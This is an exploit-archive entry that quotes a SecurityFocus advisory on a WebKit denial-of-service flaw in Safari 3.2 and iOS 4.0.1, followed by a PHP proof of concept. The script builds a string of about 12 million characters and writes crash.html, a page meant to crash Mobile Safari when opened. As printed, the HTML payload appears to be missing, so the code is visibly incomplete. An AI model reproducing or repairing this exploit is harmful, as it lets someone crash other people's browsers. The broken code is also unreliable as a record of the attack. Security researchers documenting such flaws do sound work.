source: https://www.securityfocus.com/bid/33080/info Apple Safari is prone to a denial-of-service vulnerability that resides in the WebKit library. Remote attackers can exploit this issue to crash the affected browser, denial-of-service condition. Apple Safari 3.2 running on Microsoft Windows Vista is vulnerable; other versions running on different platforms may also be affected. Note (December 20, 2010): Safari on iOS 4.0.1 is also vulnerable. # ----------------------------------- # Exploit Title: Apple iPhone Safari (body alink) Remote Crash # Date: 19/12/2010 # Author: Pr0T3cT10n # Affected Version: IOS 4.0.1 # Tested on Apple iPhone 3, IOS 4.0.1 MobileSafari # Launch Safari, point your browser to the page and safari will crash. # ISRAEL, NULLBYTE.ORG.IL $string = str_repeat('A', 12000085); $code = " Apple iPhone Safari (body alink) Remote Crash "; if(file_put_contents("./crash.html", $code)) { echo("Point your safari mobile browser to `crash.html`.\r\n"); } else { echo("Cannot create file.\r\n"); } ?>